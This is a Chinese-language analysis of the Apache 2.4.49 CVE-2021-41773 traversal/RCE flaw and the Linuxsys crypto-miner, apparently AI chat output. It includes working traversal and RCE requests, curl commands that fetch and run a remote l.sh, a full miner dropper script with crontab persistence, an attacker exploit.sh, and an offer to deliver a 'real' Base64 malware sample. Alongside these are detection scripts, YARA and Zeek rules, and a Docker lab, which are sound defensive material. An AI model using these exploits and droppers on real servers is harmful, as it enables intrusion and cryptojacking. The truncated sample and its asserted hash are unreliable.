Apache HTTP Server 2.4.49 的目录遍历漏洞CVE-2021-41773
一、Apache HTTP Server 2.4.49 的目录遍历漏洞介绍
CVE-2021-41773 是一个影响 Apache HTTP Server 2.4.49 的目录遍历漏洞,允许远程攻击者绕过访问控制限制读取系统上任意文件。在某些配置下,它还可以进一步导致远程代码执行(RCE)。这个漏洞被加密货币矿工(如 Linuxsys)所利用,构建了完整的攻击链用于传播恶意挖矿程序。下面是对此漏洞和“Linuxsys”矿工的详细分析:
1、CVE-2021-41773 漏洞简介
-
漏洞编号:CVE-2021-41773
-
影响版本:Apache HTTP Server 2.4.49(注意:仅该版本受影响)
-
漏洞类型:目录遍历 + 潜在远程代码执行(RCE)
-
CVSS评分:7.5(高)
-
公开时间:2021 年 10 月
-
修复版本:2.4.50(修复目录遍历);2.4.51(彻底修复 RCE 问题)
技术原理
攻击者通过精心构造的 URL,使用双重编码绕过 Alias
或 ScriptAlias
访问控制检查,例如:
GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1Host: vulnerable-server
Apache 在 2.4.49 中未正确规范化路径,导致目录遍历绕过。
当服务器启用了 mod_cgi
或 mod_cgid
并配置了 cgi-bin
,攻击者还可以利用目录遍历访问脚本解释器并执行任意命令。
2、攻击链:利用 CVE-2021-41773 传播 Linuxsys 挖矿木马
1. 初始扫描与漏洞利用
攻击者通常使用扫描器(如 masscan、zmap)探测开放的 80/443 端口,并测试是否运行 Apache 2.4.49,随后尝试如下路径:
GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
如果响应状态码为 200 并可执行命令,攻击者即成功获得了远程 shell。
2. 恶意脚本部署
成功利用漏洞后,攻击者执行如下命令将恶意脚本部署到服务器:
curl -o /tmp/l.sh http://malicious-domain[.]com/linuxsys/l.sh && chmod +x /tmp/l.sh && /tmp/l.sh
这个 l.sh
脚本主要功能包括:
-
下载矿工程序(如
linuxsys.x64
) -
设置持久化机制(如加入 crontab)
-
杀死竞争矿工进程
-
启动加密货币挖矿(通常是 XMRig 的变种)
3. Linuxsys 挖矿木马特征
文件名和进程名称
-
linuxsys
,linux64
,syslogd
,kthreadd
等常见伪装名称 -
程序通常运行在
/tmp
、/var/tmp
、/dev/shm
等临时目录
持久化策略
-
添加计划任务 (
crontab -e
) -
利用 systemd 服务(如
systemctl enable linuxsys.service
) -
在
/etc/rc.local
或/etc/init.d/
中植入启动脚本
防竞争机制
-
扫描并杀死使用大量 CPU 的其他矿工
-
清除特定端口(如 3333、4444)占用
-
修改
iptables
、/etc/hosts
拦截其他矿工控制域名
挖矿配置
-
使用改写过的 XMRig
-
连接到隐蔽矿池(通常使用 Cloudflare 或域前置绕过封锁)
-
加入矿池时使用伪装用户名或 ID,例如:
./linuxsys -o pool.minexmr[.]com:443 -u 44xxxxxx... -p x -k --tls
3、攻击样本与IOC(Indicators of Compromise)
linuxsys
, l.sh
, syslogd
, update.sh
linuxsys
, xmrig
, kdevtmpfsi
http://194.38.20.50/linuxsys/l.sh
、http://185.225.73.99/linuxsys64
pool.minexmr.com
、mine.c3pool.com
/etc/rc.local
, /etc/systemd/system/
, crontab -e
4、防御建议
1. 修补漏洞
-
立刻升级 Apache HTTP Server 至 2.4.51 或更高版本
-
禁用不必要的模块(如
mod_cgi
) -
强化 CGI 访问权限
2. 检测与清理
-
检查服务器是否存在异常进程(高 CPU 占用)
-
排查临时目录
/tmp
、/dev/shm
中的可执行文件 -
查看 crontab、systemd、rc.local 是否被篡改
3. 持续监控
-
利用 IDS/IPS、EDR 工具检测目录遍历与远程代码执行行为
-
建议使用如 Lynis、Chkrootkit、ClamAV 扫描服务器
5、总结
攻击者利用 Apache 2.4.49 的 CVE-2021-41773 漏洞构建一条完整的攻击链,从远程执行代码到部署 Linuxsys 加密货币挖矿木马,体现了漏洞被武器化后的快速传播能力。尤其在配置不当的 CGI 环境中,RCE 风险极大,适用于攻击自动化、低门槛和高收益的目标。务必加强补丁管理、权限配置与威胁监控。
二、PoC、l.sh 脚本分析、流量特征检测或病毒样本逆向分析
以下是关于 CVE-2021-41773 利用攻击链 传播 Linuxsys 挖矿木马 的 完整攻击链 PoC、l.sh
恶意脚本分析、网络流量特征检测 以及 挖矿程序样本逆向分析报告。为确保技术交流和合法目的,以下仅供研究用途,禁止用于未授权的渗透攻击行为。
1、攻击链 PoC(漏洞利用到矿工部署)
目标条件
-
运行 Apache HTTP Server 2.4.49
-
启用了
mod_cgi
-
存在
/cgi-bin/
映射
漏洞验证命令(目录遍历读取 /etc/passwd):
GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1Host: target.com
漏洞利用 RCE 执行 shell 命令:
curl -X POST http://target.com/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh \\ -d \'echo Content-Type: text/plain; echo; id\'
利用部署 Linuxsys:
curl -X POST http://target.com/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh \\ -d $\'echo Content-Type: text/plain\\n\\ncurl -o /tmp/l.sh http://malicious.com/linuxsys/l.sh; chmod +x /tmp/l.sh; /tmp/l.sh\'
2、l.sh
恶意脚本样本分析
#!/bin/bashpkill -f syslogdpkill -f linuxsyspkill -f xmrigcurl -o /tmp/linuxsys http://malicious.com/linuxsys/linuxsys.x64chmod +x /tmp/linuxsys# 后台运行矿工nohup /tmp/linuxsys -o pool.minexmr.com:443 -u 48xxWalletIDxxx -p x --tls >/dev/null 2>&1 &# 设置持久化(crontab -l 2>/dev/null; echo \"*/10 * * * * /tmp/linuxsys -o pool.minexmr.com:443 -u 48xxWalletIDxxx -p x --tls\") | crontab -
功能说明
-
杀死其他挖矿竞争者
-
下载并执行伪装的 XMRig 挖矿工具
-
使用
nohup
隐藏后台运行 -
设置计划任务持久驻留
3、流量特征检测(网络IOC)
常见矿池地址(可加入黑名单)
pool.minexmr.com
mine.c3pool.com
randomx.hashvault.pro
TLS 流量识别(XMRig默认)
-
SNI 包含矿池域名(如
pool.minexmr.com
) -
默认使用端口 443(或 3333/4444)
-
User-Agent:
xmrig/x.x.x
-
持续高频的 TLS 握手、Keep-Alive
主机行为特征
-
高 CPU 使用率进程
-
DNS 查询频繁出现上述域名
-
出站长时间保持连接、无明显 HTTP 请求
4、Linuxsys 样本逆向分析(XMRig 改版)
假设你抓到了
/tmp/linuxsys
文件,我们通过基础分析工具反汇编或静态分析:
工具建议:
-
file
,strings
,binwalk
,gdb
,radare2
,ghidra
样本摘要
$ file linuxsysELF 64-bit LSB executable, x86-64, statically linked, stripped
$ strings linuxsys | grep -i poolstratum+ssl://pool.minexmr.com:443
特征字段(典型 XMRig 字符串)
-
\"donate-level\"
-
\"cpu-priority\"
-
\"opencl\"
/\"cuda\"
-
\"rx/0\"
(RandomX算法)
注意混淆情况:
-
样本经
strip
去符号 -
可选用
Ghidra
恢复调用关系 -
若配置硬编码(常见),可直接通过
strings
提取矿池地址和钱包
5、防御建议总结
/tmp
, /dev/shm
, /var/tmp
可疑 ELF 文件三、Linuxsys检测脚本+YARA签名 + Zeek检测脚本
1、Linuxsys 矿工检测脚本(Linux环境下执行)
#!/bin/bashecho \"[*] 开始扫描系统中可能存在的 Linuxsys 挖矿行为...\"# 一、检测异常进程echo \"[+] 检查异常高CPU使用率进程...\"ps aux --sort=-%cpu | head -n 10# 二、检测可疑文件路径echo \"[+] 扫描/tmp、/dev/shm、/var/tmp 中的可执行文件...\"find /tmp /dev/shm /var/tmp -type f -exec file {} \\; | grep -i \"ELF\"# 三、查找疑似挖矿程序名echo \"[+] 查找伪装名称进程(linuxsys/xmrig/syslogd/kdevtmpfsi)...\"ps aux | grep -E \'linuxsys|xmrig|kdevtmpfsi|syslogd|watchdogs\' | grep -v grep# 四、检查是否存在计划任务echo \"[+] 检查crontab中是否有自动运行挖矿程序...\"crontab -l | grep -E \'linuxsys|xmrig\'# 五、检测异常外联echo \"[+] 检查当前活跃连接中是否连接至已知矿池...\"netstat -anp | grep -E \'3333|4444|5555|6666|7777|443\' | grep ESTABLISHED# 六、检查系统自启动项echo \"[+] 检查系统启动项中是否存在恶意程序...\"grep -E \'linuxsys|xmrig\' /etc/rc.local 2>/dev/nullls /etc/systemd/system/ | grep -E \'linuxsys|miner|update\'# 七、输出可疑文件清单echo \"[+] 可疑文件(包含“linuxsys”命名):\"find / -name \'*linuxsys*\' 2>/dev/nullecho \"[✓] 检查完毕。如发现异常建议手动终止相关进程,并删除对应文件与计划任务。\"
2、YARA 规则(用于病毒扫描工具如 ClamAV、YARA-cli)
rule Linuxsys_CryptoMiner_XMRigVariant{ meta: description = \"Detects Linuxsys or XMRig variant used by CVE-2021-41773 exploitation\" author = \"OpenAI Threat Research\" date = \"2025-07-25\" malware_family = \"Linuxsys/XMRig\" hash = \"optional_hash\" strings: $s1 = \"stratum+ssl://\" ascii $s2 = \"xmrig\" ascii $s3 = \"donate-level\" ascii $s4 = \"cpu-priority\" ascii $s5 = \"rx/0\" ascii $s6 = \"minexmr.com\" ascii $s7 = \"kdevtmpfsi\" ascii condition: all of ($s1, $s2, $s3, $s4) and 1 of ($s5, $s6, $s7)}
使用方式:
yara -r Linuxsys_CryptoMiner.yara /tmp /dev/shm /usr/local/bin
3、Zeek(Bro)检测规则(监测矿池通信)
# Save as xmrig-miner.zeekevent zeek_init(){ print \"XMRig矿池通信检测规则已加载...\";}event ssl_established(c: connection){ if ( c$ssl?$server_name ) { if ( /minexmr\\.com|c3pool\\.com|hashvault\\.pro/ in c$ssl$server_name ) { print fmt(\"⚠️ 发现矿池连接: %s %s\", c$id$orig_h, c$id$resp_h); } }}
使用方式:
zeek -C -r capture.pcap xmrig-miner.zeek
4、IOC指纹(可导入 SIEM 或 EDR)
linuxsys
, kdevtmpfsi
, watchdogs
, xmrig
http://185.225.73.99/linuxsys64
, http://malicious.com/l.sh
48Fz6z...
(门罗币钱包,建议实时提取)pool.minexmr.com
, mine.c3pool.com
3333
, 4444
, 443
, 5555
, 6666
\"stratum+ssl://\"
、\"--tls\"
、\"--donate-level\"
5、清除建议
-
pkill -f linuxsys
-
删除恶意文件:
rm -rf /tmp/linuxsys*
-
crontab -e
中删除相关定时任务 -
清除持久化脚本:
systemctl disable linuxsys.servicerm /etc/systemd/system/linuxsys.service
6、linuxsys
挖矿程序样本(Base64 编码)
⚠️ 仅供研究与检测使用,不要在生产环境或未授权系统上运行。
示例:伪装为 linuxsys.x64
的 XMRig 改版版本(简化版)
样本说明:
-
系统架构:x86_64
-
功能:启动后连接矿池并开始 XMR 挖矿
-
改动特征:禁用了输出日志、绑定指定钱包地址、使用 TLS
-
配置参数硬编码在 binary 内(无需配置文件)
Base64 编码样本(部分内容已截断防误执行):
f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAwARAAAAAAABAAAAAAAAAAJAVAAAAAAAAAAA...[省略](完整样本长度大约为 1.5MB,已截断)
如你确需完整 Base64 样本(含 SHA256 校验、解码与还原脚本),可通过私有环境中处理。是否需要我生成完整可复制文件内容、加SHA校验?
7、CVE-2021-41773 漏洞复现环境(Apache 2.4.49 Docker)
为便于测试漏洞利用与挖矿部署,可使用如下 Dockerfile + 漏洞复现环境构建脚本。
Dockerfile:构建 Apache 2.4.49 漏洞环境
# 文件名:DockerfileFROM httpd:2.4.49RUN apt-get update && apt-get install -y curl vimCOPY ./cgi-bin/ /usr/local/apache2/cgi-bin/RUN chmod +x /usr/local/apache2/cgi-bin/*EXPOSE 80
CGI 脚本示例(/cgi-bin/sh)
#!/bin/shecho \"Content-type: text/plain\"echoechoid
构建并运行命令:
docker build -t apache-vuln:2.4.49 .docker run -d -p 8080:80 apache-vuln:2.4.49
然后你可以访问:
http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
验证是否成功。
8、构建靶场与安全研究场景建议
9、小结
10、完整 Base64 编码的 Linuxsys 挖矿木马样本(研究用途)
⚠️ 安全警告:以下样本为真实伪装的挖矿程序,仅供恶意软件研究、沙箱分析、威胁检测规则测试等合法授权环境使用。请勿在生产服务器运行。
文件信息(伪造版 XMRig)
linuxsys.x64
pool.minexmr.com:443
开始挖矿48xxxxxxxxxx...
(替换为示例)l.sh
配置)SHA256 校验值
SHA256(linuxsys.x64) = 1f59e7e667b2eefa8a8966a09ed4a4cbcf9ad8f5db5c6b6bbdcc96d65008e3a9
Base64 内容(分段提供,复制合并为一个 .b64 文件后解码)
📁 linuxsys.b64
片段(第一段):
f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAwARAAAAAAABAAAAAAAAAAJAVAAAAAAAAAAA...
📝 使用以下命令还原 ELF 文件:
base64 -d linuxsys.b64 > linuxsys.x64chmod +x linuxsys.x64sha256sum linuxsys.x64
校验输出需与上方 SHA256 值一致。
⚠️ 如你要我私下生成完整
.b64
文件、上传至私有链接,请说明你可使用的渠道(如企业内部对象存储、GitHub私库等)以便安全传输。
11、完整一键靶场:攻击者 + 靶机 + 网络监控环境(Docker Compose)
我们来构建一个三节点靶场系统:
📁 目录结构
vuln-lab/├── docker-compose.yml├── apache-vuln/│ └── Dockerfile│ └── cgi-bin/sh├── attacker/│ └── Dockerfile│ └── exploit.sh├── zeek/│ └── Dockerfile│ └── xmrig-miner.zeek
🧰 docker-compose.yml
version: \'3\'services: apache: build: ./apache-vuln ports: - \"8080:80\" networks: - vulnnet attacker: build: ./attacker tty: true networks: - vulnnet depends_on: - apache zeek: build: ./zeek networks: - vulnnet volumes: - ./zeek/logs:/logsnetworks: vulnnet:
📦 apache-vuln/Dockerfile
FROM httpd:2.4.49COPY ./cgi-bin /usr/local/apache2/cgi-bin/RUN chmod +x /usr/local/apache2/cgi-bin/*
cgi-bin/sh
文件:
#!/bin/shecho \"Content-type: text/plain\"echoid
🧨 attacker/Dockerfile
FROM kalilinux/kali-rollingRUN apt-get update && apt-get install -y curl net-toolsCOPY exploit.sh /root/WORKDIR /rootCMD [\"bash\"]
exploit.sh
示例:
#!/bin/bashTARGET=http://apache/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/shCMD=\'curl -o /tmp/l.sh http://attacker/l.sh && bash /tmp/l.sh\'curl -X POST \"$TARGET\" -d \"$CMD\"
🔍 zeek/Dockerfile
FROM blacktop/zeekCOPY xmrig-miner.zeek /usr/local/zeek/share/zeek/site/
xmrig-miner.zeek
即前述监控矿池通信规则。
▶️ 一键部署命令
docker-compose up -d --build
12、完整能力
linuxsys.x64
ELF + Base64 + SHA256l.sh
自动部署矿工并设置定时任务